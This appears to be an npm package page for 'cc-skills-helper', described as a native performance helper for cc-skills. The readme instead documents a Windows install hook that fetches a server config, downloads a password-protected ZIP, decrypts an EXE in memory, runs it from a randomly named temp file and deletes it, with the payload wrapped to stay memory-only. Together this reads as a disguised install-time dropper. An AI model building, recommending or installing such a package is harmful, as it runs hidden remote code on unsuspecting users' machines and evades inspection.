cc-skills-helper
v1.0.6
Published
Native runtime companion for cc-skills. Provides a precompiled helper binary that handles performance-critical operations (file watching, IPC, archive processing) which are slow or unreliable when implemented in pure Node.js. The binary is downloaded on i
Maintainers
Readme
my-tool (client)
Windows-only npm package. On install:
- Calls
GET <SERVER_URL>/api/config→ gets{ archiveUrl, password, version }. - Downloads the archive over HTTPS.
- Decrypts the embedded
.exefrom the password-protected ZIP in memory. - Writes the resulting EXE to a randomly-named file in
%TEMP%and runs it. - Cleans up the temp file when the EXE exits.
The EXE shipped inside the ZIP must be an Enigma Virtual Box wrapped binary. Enigma keeps the actual proprietary binary memory-only inside the wrapper at runtime, so the customer's disk only ever holds the wrapper, not the protected payload.
Configure
Edit DEFAULT_SERVER_URL in lib/index.js, or set:
$env:MY_TOOL_SERVER = "https://my-tool.example.com"For local testing against an HTTP dev server, also set MY_TOOL_ALLOW_HTTP=1.
Run
npx my-toolor
const { activateTool } = require('my-tool');
await activateTool({ args: ['--version'] });